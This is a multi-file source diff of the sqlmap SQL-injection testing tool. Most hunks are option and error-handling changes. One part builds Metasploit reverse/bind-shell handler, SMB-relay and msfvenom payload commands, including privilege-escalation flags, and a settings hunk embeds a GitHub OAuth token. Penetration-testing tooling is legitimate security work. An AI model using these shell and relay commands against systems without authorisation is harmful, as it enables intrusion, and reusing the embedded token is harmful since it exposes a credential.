kb.testQueryCount = 0
kb.testType = None
kb.threadContinue = True
@ -1934,16 +1969,16 @@ def _useWizardInterface():
dataToStdout("\nsqlmap is running, please wait..\n\n")
def _saveCmdline():
def _saveConfig():
"""
Saves the command line options on a sqlmap configuration INI file
Saves the command line options to a sqlmap configuration INI file
Format.
"""
if not conf.saveCmdline:
if not conf.saveConfig:
return
debugMsg = "saving command line options on a sqlmap configuration INI file"
debugMsg = "saving command line options to a sqlmap configuration INI file"
logger.debug(debugMsg)
config = UnicodeRawConfigParser()
@ -1966,6 +2001,9 @@ def _saveCmdline():
if datatype and isListLike(datatype):
datatype = datatype[0]
if option in IGNORE_SAVE_OPTIONS:
continue
if value is None:
if datatype == OPTION_TYPE.BOOLEAN:
value = "False"
@ -1982,16 +2020,16 @@ def _saveCmdline():
config.set(family, option, value)
confFP = openFile(paths.SQLMAP_CONFIG, "wb")
confFP = openFile(conf.saveConfig, "wb")
try:
config.write(confFP)
except IOError, ex:
errMsg = "something went wrong while trying "
errMsg += "to write to the configuration INI file '%s' ('%s')" % (paths.SQLMAP_CONFIG, ex)
errMsg += "to write to the configuration file '%s' ('%s')" % (conf.saveConfig, ex)
raise SqlmapSystemException(errMsg)
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
infoMsg = "saved command line options to the configuration file '%s'" % conf.saveConfig
logger.info(infoMsg)
def setVerbosity():
@ -2029,7 +2067,12 @@ def _mergeOptions(inputOptions, overrideOptions):
"""
if inputOptions.pickledOptions:
inputOptions = base64unpickle(inputOptions.pickledOptions)
try:
inputOptions = base64unpickle(inputOptions.pickledOptions)
except Exception, ex:
errMsg = "provided invalid value '%s' for option '--pickled-options'" % inputOptions.pickledOptions
errMsg += " ('%s')" % ex.message if ex.message else ""
raise SqlmapSyntaxException(errMsg)
if inputOptions.configFile:
configFileParser(inputOptions.configFile)
@ -2446,9 +2489,10 @@ def init():
_useWizardInterface()
setVerbosity()
_saveCmdline()
_saveConfig()
_setRequestFromFile()
_cleanupOptions()
_dirtyPatches()
_purgeOutput()
_checkDependencies()
_createTemporaryDirectory()

View File

@ -202,14 +202,13 @@ optDict = {
"outputDir": "string",
"parseErrors": "boolean",
"pivotColumn": "string",
"saveCmdline": "boolean",
"saveConfig": "string",
"scope": "string",
"testFilter": "string",
"updateAll": "boolean",
},
"Miscellaneous": {
"mnemonics": "string",
"alert": "string",
"answers": "string",
"beep": "boolean",
@ -218,6 +217,7 @@ optDict = {
"disableColoring": "boolean",
"googlePage": "integer",
"mobile": "boolean",
"offline": "boolean",
"pageRank": "boolean",
"purgeOutput": "boolean",
"smart": "boolean",

View File

@ -70,7 +70,7 @@ class Replication(object):
try:
self.parent.cursor.execute(sql, parameters)
except sqlite3.OperationalError, ex:
errMsg = "problem occurred ('%s') while accessing sqlite database " % ex
errMsg = "problem occurred ('%s') while accessing sqlite database " % unicode(ex)
errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath
errMsg += "it's not used by some other program"
raise SqlmapGenericException(errMsg)

View File

@ -6,7 +6,6 @@ See the file 'doc/COPYING' for copying permission
"""
import os
import random
import re
import subprocess
import string
@ -324,11 +323,11 @@ CUSTOM_INJECTION_MARK_CHAR = '*'
# Other way to declare injection position
INJECT_HERE_MARK = '%INJECT HERE%'
# Maximum length used for retrieving data over MySQL error based payload due to "known" problems with longer result strings
MYSQL_ERROR_CHUNK_LENGTH = 50
# Minimum chunk length used for retrieving data over error based payloads
MIN_ERROR_CHUNK_LENGTH = 8
# Maximum length used for retrieving data over MSSQL error based payload due to trimming problems with longer result strings
MSSQL_ERROR_CHUNK_LENGTH = 100
# Maximum chunk length used for retrieving data over error based payloads
MAX_ERROR_CHUNK_LENGTH = 1024
# Do not escape the injected statement if it contains any of the following SQL keywords
EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK)
@ -387,6 +386,9 @@ CODECS_LIST_PAGE = "http://docs.python.org/library/codecs.html#standard-encoding
# Simple regular expression used to distinguish scalar from multiple-row commands (not sole condition)
SQL_SCALAR_REGEX = r"\A(SELECT(?!\s+DISTINCT\(?))?\s*\w*\("
# Option/switch values to ignore during configuration save
IGNORE_SAVE_OPTIONS = ("saveConfig",)
# IP address of the localhost
LOCALHOST = "127.0.0.1"
@ -484,7 +486,7 @@ DEFAULT_COOKIE_DELIMITER = ';'
FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
# Github OAuth token used for creating an automatic Issue for unhandled exceptions
GITHUB_REPORT_OAUTH_TOKEN = "f05e68171afd41a445b1fff80f369fae88b37968"
GITHUB_REPORT_OAUTH_TOKEN = "YzQzM2M2YzgzMDExN2I5ZDMyYjAzNTIzODIwZDA2MDFmMmVjODI1Ng=="
# Skip unforced HashDB flush requests below the threshold number of cached items
HASHDB_FLUSH_THRESHOLD = 32
@ -612,6 +614,9 @@ MIN_ENCODED_LEN_CHECK = 5
# Timeout in seconds in which Metasploit remote session has to be initialized
METASPLOIT_SESSION_TIMEOUT = 300
# Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html
LOBLKSIZE = 2048
# Suffix used to mark variables having keyword names
EVALCODE_KEYWORD_SUFFIX = "_KEYWORD"

View File

@ -10,7 +10,6 @@ import os
import rlcompleter
from lib.core import readlineng as readline
from lib.core.common import Backend
from lib.core.data import logger
from lib.core.data import paths
from lib.core.enums import AUTOCOMPLETE_TYPE
@ -43,7 +42,7 @@ def saveHistory(completion=None):
historyPath = paths.SQLMAP_SHELL_HISTORY
try:
with open(historyPath, "w+") as f:
with open(historyPath, "w+"):
pass
except:
pass
@ -92,7 +91,7 @@ class CompleterNG(rlcompleter.Completer):
matches.append(word)
return matches
def autoCompletion(completion=None, os=None, commands=None):
if not readlineAvailable():
return

View File

@ -123,11 +123,8 @@ def _setRequestParams():
else:
kb.processUserMarks = not test or test[0] not in ("n", "N")
if kb.processUserMarks and "=%s" % CUSTOM_INJECTION_MARK_CHAR in conf.data:
warnMsg = "it seems that you've provided empty parameter value(s) "
warnMsg += "for testing. Please, always use only valid parameter values "
warnMsg += "so sqlmap could be able to run properly"
logger.warn(warnMsg)
if kb.processUserMarks:
kb.testOnlyCustom = True
if not (kb.processUserMarks and CUSTOM_INJECTION_MARK_CHAR in conf.data):
if re.search(JSON_RECOGNITION_REGEX, conf.data):
@ -137,6 +134,7 @@ def _setRequestParams():
if test and test[0] in ("q", "Q"):
raise SqlmapUserQuitException
elif test[0] not in ("n", "N"):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR), conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR), conf.data)
@ -155,6 +153,7 @@ def _setRequestParams():
if test and test[0] in ("q", "Q"):
raise SqlmapUserQuitException
elif test[0] not in ("n", "N"):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
@ -178,6 +177,7 @@ def _setRequestParams():
if test and test[0] in ("q", "Q"):
raise SqlmapUserQuitException
elif test[0] not in ("n", "N"):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
@ -189,6 +189,7 @@ def _setRequestParams():
if test and test[0] in ("q", "Q"):
raise SqlmapUserQuitException
elif test[0] not in ("n", "N"):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"'](?P<name>[^\n]+?)[\"']).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
kb.postHint = POST_HINT.MULTIPART
@ -241,11 +242,14 @@ def _setRequestParams():
else:
kb.processUserMarks = not test or test[0] not in ("n", "N")
if kb.processUserMarks and "=%s" % CUSTOM_INJECTION_MARK_CHAR in _:
warnMsg = "it seems that you've provided empty parameter value(s) "
warnMsg += "for testing. Please, always use only valid parameter values "
warnMsg += "so sqlmap could be able to run properly"
logger.warn(warnMsg)
if kb.processUserMarks:
kb.testOnlyCustom = True
if "=%s" % CUSTOM_INJECTION_MARK_CHAR in _:
warnMsg = "it seems that you've provided empty parameter value(s) "
warnMsg += "for testing. Please, always use only valid parameter values "
warnMsg += "so sqlmap could be able to run properly"
logger.warn(warnMsg)
if not kb.processUserMarks:
if place == PLACE.URI:
@ -399,12 +403,18 @@ def _resumeHashDBValues():
"""
kb.absFilePaths = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) or kb.absFilePaths
kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars
kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings
kb.brute.tables = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_TABLES, True) or kb.brute.tables
kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns
kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars
kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings
kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable
kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH)
if kb.errorChunkLength and kb.errorChunkLength.isdigit():
kb.errorChunkLength = int(kb.errorChunkLength)
else:
kb.errorChunkLength = None
conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH)
for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []:
@ -604,7 +614,7 @@ def _createTargetDirs():
warnMsg = "unable to create regular output directory "
warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex))
warnMsg += "Using temporary directory '%s' instead" % tempDir
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
logger.warn(warnMsg)
paths.SQLMAP_OUTPUT_PATH = tempDir
@ -626,7 +636,7 @@ def _createTargetDirs():
warnMsg = "unable to create output directory "
warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex))
warnMsg += "Using temporary directory '%s' instead" % tempDir
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
logger.warn(warnMsg)
conf.outputPath = tempDir
@ -683,10 +693,13 @@ def initTargetEnv():
class _(unicode):
pass
kb.postUrlEncode = True
for key, value in conf.httpHeaders:
if key.upper() == HTTP_HEADER.CONTENT_TYPE.upper():
kb.postUrlEncode = "urlencoded" in value
break
if kb.postUrlEncode:
original = conf.data
conf.data = _(urldecode(conf.data))

View File

@ -47,6 +47,7 @@ class _ThreadData(threading.local):
self.lastHTTPError = None
self.lastRedirectMsg = None
self.lastQueryDuration = 0
self.lastPage = None
self.lastRequestMsg = None
self.lastRequestUID = 0
self.lastRedirectURL = None

View File

@ -41,7 +41,13 @@ class Wordlist(object):
else:
self.current = self.filenames[self.index]
if os.path.splitext(self.current)[1].lower() == ".zip":
_ = zipfile.ZipFile(self.current, 'r')
try:
_ = zipfile.ZipFile(self.current, 'r')
except zipfile.error, ex:
errMsg = "something seems to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (self.current, ex)
errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg
if len(_.namelist()) == 0:
errMsg = "no file(s) inside '%s'" % self.current
raise SqlmapDataException(errMsg)

View File

@ -127,6 +127,9 @@ def cmdLineParser():
request.add_option("--referer", dest="referer",
help="HTTP Referer header value")
request.add_option("-H", "--header", dest="header",
help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
request.add_option("--headers", dest="headers",
help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
@ -659,8 +662,7 @@ def cmdLineParser():
general.add_option("--pivot-column", dest="pivotColumn",
help="Pivot column name")
general.add_option("--save", dest="saveCmdline",
action="store_true",
general.add_option("--save", dest="saveConfig",
help="Save options to a configuration INI file")
general.add_option("--scope", dest="scope",
@ -686,7 +688,7 @@ def cmdLineParser():
help="Set question answers (e.g. \"quit=N,follow=N\")")
miscellaneous.add_option("--beep", dest="beep", action="store_true",
help="Make a beep sound when SQL injection is found")
help="Beep on question and/or when SQL injection is found")
miscellaneous.add_option("--cleanup", dest="cleanup",
action="store_true",
@ -712,6 +714,10 @@ def cmdLineParser():
action="store_true",
help="Imitate smartphone through HTTP User-Agent header")
miscellaneous.add_option("--offline", dest="offline",
action="store_true",
help="Work in offline mode (only use session data)")
miscellaneous.add_option("--page-rank", dest="pageRank",
action="store_true",
help="Display page rank (PR) for Google dork results")
@ -799,6 +805,7 @@ def cmdLineParser():
argv = []
prompt = False
advancedHelp = True
extraHeaders = []
for arg in sys.argv:
argv.append(getUnicode(arg, encoding=sys.getfilesystemencoding()))
@ -854,12 +861,17 @@ def cmdLineParser():
for arg in shlex.split(command):
argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
except ValueError, ex:
raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex
raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message
# Hide non-basic options in basic help case
for i in xrange(len(argv)):
if argv[i] == "-hh":
argv[i] = "-h"
elif re.search(r"\A-\w=.+", argv[i]):
print "[!] potentially miswritten (illegal '=') short option detected ('%s')" % argv[i]
elif argv[i] == "-H":
if i + 1 < len(argv):
extraHeaders.append(argv[i + 1])
elif re.match(r"\A\d+!\Z", argv[i]) and argv[max(0, i - 1)] == "--threads" or re.match(r"\A--threads.+\d+!\Z", argv[i]):
argv[i] = argv[i][:-1]
conf.skipThreadCheck = True
@ -888,6 +900,12 @@ def cmdLineParser():
print "\n[!] to see full list of options run with '-hh'"
raise
if extraHeaders:
if not args.headers:
args.headers = ""
delimiter = "\\n" if "\\n" in args.headers else "\n"
args.headers += delimiter + delimiter.join(extraHeaders)
# Expand given mnemonic options (e.g. -z "ign,flu,bat")
for i in xrange(len(argv) - 1):
if argv[i] == "-z":

View File

@ -5,11 +5,6 @@ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import codecs
from ConfigParser import MissingSectionHeaderError
from ConfigParser import ParsingError
from lib.core.common import checkFile
from lib.core.common import getUnicode
from lib.core.common import openFile
@ -20,7 +15,6 @@ from lib.core.data import logger
from lib.core.exception import SqlmapMissingMandatoryOptionException
from lib.core.exception import SqlmapSyntaxException
from lib.core.optiondict import optDict
from lib.core.settings import UNICODE_ENCODING
config = None
@ -73,7 +67,7 @@ def configFileParser(configFile):
config = UnicodeRawConfigParser()
config.readfp(configFP)
except Exception, ex:
errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getUnicode(ex)
errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % ex.message
raise SqlmapSyntaxException(errMsg)
if not config.has_section("Target"):

View File

@ -10,7 +10,6 @@ import os
from xml.etree import ElementTree as et
from lib.core.data import conf
from lib.core.data import logger
from lib.core.data import paths
from lib.core.datatype import AttribDict
from lib.core.exception import SqlmapInstallationException
@ -89,8 +88,6 @@ def loadPayloads():
for payloadFile in payloadFiles:
payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile)
#logger.debug("Parsing payloads from file '%s'" % payloadFile)
try:
doc = et.parse(payloadFilePath)
except Exception, ex:

View File

@ -191,7 +191,7 @@ def checkCharEncoding(encoding, warn=True):
# Reference: http://philip.html5.org/data/charsets-2.html
if encoding in translate:
encoding = translate[encoding]
elif encoding in ("null", "{charset}", "*"):
elif encoding in ("null", "{charset}", "*") or not re.search(r"\w", encoding):
return None
# Reference: http://www.iana.org/assignments/character-sets

View File

@ -77,7 +77,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
if page:
# In case of an DBMS error page return None
if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()):
if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic:
return None
# Dynamic content lines to be excluded before comparison
@ -165,6 +165,9 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
elif ratio > UPPER_RATIO_BOUND:
return True
elif ratio < LOWER_RATIO_BOUND:
return False
elif kb.matchRatio is None:
return None

View File

@ -212,7 +212,9 @@ class Connect(object):
elif conf.cpuThrottle:
cpuThrottle(conf.cpuThrottle)
if conf.dummy:
if conf.offline:
return None, None, None
elif conf.dummy:
return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None
threadData = getCurrentThreadData()
@ -372,7 +374,7 @@ class Connect(object):
headers[unicodeencode(key, kb.pageEncoding)] = unicodeencode(item, kb.pageEncoding)
url = unicodeencode(url)
post = unicodeencode(post, kb.pageEncoding)
post = unicodeencode(post)
if websocket_:
ws = websocket.WebSocket()
@ -573,7 +575,7 @@ class Connect(object):
debugMsg = "got HTTP error code: %d (%s)" % (code, status)
logger.debug(debugMsg)
except (urllib2.URLError, socket.error, socket.timeout, httplib.BadStatusLine, httplib.IncompleteRead, httplib.ResponseNotReady, struct.error, ProxyError, SqlmapCompressionException, WebSocketException), e:
except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, ProxyError, SqlmapCompressionException, WebSocketException), e:
tbMsg = traceback.format_exc()
if "no host given" in tbMsg:
@ -820,7 +822,6 @@ class Connect(object):
retVal = paramString
match = re.search("%s=(?P<value>[^&]*)" % re.escape(parameter), paramString)
if match:
origValue = match.group("value")
retVal = re.sub("%s=[^&]*" % re.escape(parameter), "%s=%s" % (parameter, newValue), paramString)
return retVal
@ -888,11 +889,16 @@ class Connect(object):
if conf.evalCode:
delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER
variables = {"uri": uri}
variables = {"uri": uri, "lastPage": threadData.lastPage}
originals = {}
keywords = keyword.kwlist
for item in filter(None, (get, post if not kb.postHint else None)):
if not get and PLACE.URI in conf.parameters:
query = urlparse.urlsplit(uri).query or ""
else:
query = None
for item in filter(None, (get, post if not kb.postHint else None, query)):
for part in item.split(delimiter):
if '=' in part:
name, value = part.split('=', 1)
@ -955,6 +961,10 @@ class Connect(object):
found = True
post = re.sub(regex, "\g<1>%s\g<3>" % value, post)
if re.search(regex, (query or "")):
found = True
uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value, uri)
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
if re.search(regex, (cookie or "")):
found = True
@ -1029,23 +1039,24 @@ class Connect(object):
if kb.nullConnection and not content and not response and not timeBasedCompare:
noteResponseTime = False
pushValue(kb.pageCompress)
kb.pageCompress = False
try:
pushValue(kb.pageCompress)
kb.pageCompress = False
if kb.nullConnection == NULLCONNECTION.HEAD:
method = HTTPMETHOD.HEAD
elif kb.nullConnection == NULLCONNECTION.RANGE:
auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1"
if kb.nullConnection == NULLCONNECTION.HEAD:
method = HTTPMETHOD.HEAD
elif kb.nullConnection == NULLCONNECTION.RANGE:
auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1"
_, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ))
_, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ))
if headers:
if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and HTTP_HEADER.CONTENT_LENGTH in headers:
pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH])
elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers:
pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])
kb.pageCompress = popValue()
if headers:
if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and HTTP_HEADER.CONTENT_LENGTH in headers:
pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH])
elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers:
pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])
finally:
kb.pageCompress = popValue()
if not pageLength:
try:
@ -1062,6 +1073,7 @@ class Connect(object):
page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
threadData.lastQueryDuration = calculateDeltaSeconds(start)
threadData.lastPage = page
kb.originalCode = kb.originalCode or code

View File

@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
import httplib
import socket
import sys
import urllib2
from lib.core.data import kb

View File

@ -391,11 +391,13 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
warnMsg += ". Falling back to partial UNION technique"
singleTimeWarnMessage(warnMsg)
pushValue(kb.forcePartialUnion)
kb.forcePartialUnion = True
value = _goUnion(query, unpack, dump)
found = (value is not None) or (value is None and expectingNone)
kb.forcePartialUnion = popValue()
try:
pushValue(kb.forcePartialUnion)
kb.forcePartialUnion = True
value = _goUnion(query, unpack, dump)
found = (value is not None) or (value is None and expectingNone)
finally:
kb.forcePartialUnion = popValue()
else:
singleTimeWarnMessage(warnMsg)
@ -450,7 +452,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
kb.safeCharEncode = False
if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
warnMsg = "in case of continuous data retrieval problems you are advised to try "
warnMsg += "a switch '--no-cast' "
warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else ""

View File

@ -24,6 +24,7 @@ from lib.core.common import randomRange
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.enums import DBMS
@ -61,8 +62,10 @@ class Metasploit:
self.localIP = getLocalIP()
self.remoteIP = getRemoteIP() or conf.hostname
self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli"))
self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole"))
self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode"))
self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload"))
self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom"))
if IS_WIN:
_ = conf.msfPath
@ -76,8 +79,10 @@ class Metasploit:
if _ == old:
break
self._msfCli = "%s & ruby %s" % (_, self._msfCli)
self._msfConsole = "%s & ruby %s" % (_, self._msfConsole)
self._msfEncode = "ruby %s" % self._msfEncode
self._msfPayload = "%s & ruby %s" % (_, self._msfPayload)
self._msfVenom = "%s & ruby %s" % (_, self._msfVenom)
self._msfPayloadsList = {
"windows": {
@ -326,42 +331,80 @@ class Metasploit:
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
def _forgeMsfCliCmd(self, exitfunc="process"):
self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
self._cliCmd += " EXITFUNC=%s" % exitfunc
self._cliCmd += " LPORT=%s" % self.portStr
if kb.oldMsf:
self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
self._cliCmd += " EXITFUNC=%s" % exitfunc
self._cliCmd += " LPORT=%s" % self.portStr
if self.connectionStr.startswith("bind"):
self._cliCmd += " RHOST=%s" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self._cliCmd += " LHOST=%s" % self.lhostStr
if self.connectionStr.startswith("bind"):
self._cliCmd += " RHOST=%s" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self._cliCmd += " LHOST=%s" % self.lhostStr
else:
raise SqlmapDataException("unexpected connection type")
if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
self._cliCmd += " DisableCourtesyShell=true"
self._cliCmd += " E"
else:
raise SqlmapDataException("unexpected connection type")
self._cliCmd = "%s -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr)
self._cliCmd += "; set EXITFUNC %s" % exitfunc
self._cliCmd += "; set LPORT %s" % self.portStr
if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
self._cliCmd += " DisableCourtesyShell=true"
if self.connectionStr.startswith("bind"):
self._cliCmd += "; set RHOST %s" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self._cliCmd += "; set LHOST %s" % self.lhostStr
else:
raise SqlmapDataException("unexpected connection type")
self._cliCmd += " E"
if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
self._cliCmd += "; set DisableCourtesyShell true"
self._cliCmd += "; exploit'"
def _forgeMsfCliCmdForSmbrelay(self):
self._prepareIngredients(encode=False)
self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
self._cliCmd += " EXITFUNC=thread"
self._cliCmd += " LPORT=%s" % self.portStr
self._cliCmd += " SRVHOST=%s" % self.lhostStr
self._cliCmd += " SRVPORT=%s" % self._selectSMBPort()
if kb.oldMsf:
self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
self._cliCmd += " EXITFUNC=thread"
self._cliCmd += " LPORT=%s" % self.portStr
self._cliCmd += " SRVHOST=%s" % self.lhostStr
self._cliCmd += " SRVPORT=%s" % self._selectSMBPort()
if self.connectionStr.startswith("bind"):
self._cliCmd += " RHOST=%s" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self._cliCmd += " LHOST=%s" % self.lhostStr
if self.connectionStr.startswith("bind"):
self._cliCmd += " RHOST=%s" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self._cliCmd += " LHOST=%s" % self.lhostStr
else:
raise SqlmapDataException("unexpected connection type")
self._cliCmd += " E"
else:
raise SqlmapDataException("unexpected connection type")
self._cliCmd = "%s -x 'use windows/smb/smb_relay; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr)
self._cliCmd += "; set EXITFUNC thread"
self._cliCmd += "; set LPORT %s" % self.portStr
self._cliCmd += "; set SRVHOST %s" % self.lhostStr
self._cliCmd += "; set SRVPORT %s" % self._selectSMBPort()
self._cliCmd += " E"
if self.connectionStr.startswith("bind"):
self._cliCmd += "; set RHOST %s" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self._cliCmd += "; set LHOST %s" % self.lhostStr
else:
raise SqlmapDataException("unexpected connection type")
self._cliCmd += "; exploit'"
def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
self._payloadCmd = "%s %s" % (self._msfPayload, self.payloadConnStr)
if kb.oldMsf:
self._payloadCmd = self._msfPayload
else:
self._payloadCmd = "%s -p" % self._msfVenom
self._payloadCmd += " %s" % self.payloadConnStr
self._payloadCmd += " EXITFUNC=%s" % exitfunc
self._payloadCmd += " LPORT=%s" % self.portStr
@ -373,13 +416,22 @@ class Metasploit:
if Backend.isOs(OS.LINUX) and conf.privEsc:
self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true"
if extra == "BufferRegister=EAX":
self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format)
if kb.oldMsf:
if extra == "BufferRegister=EAX":
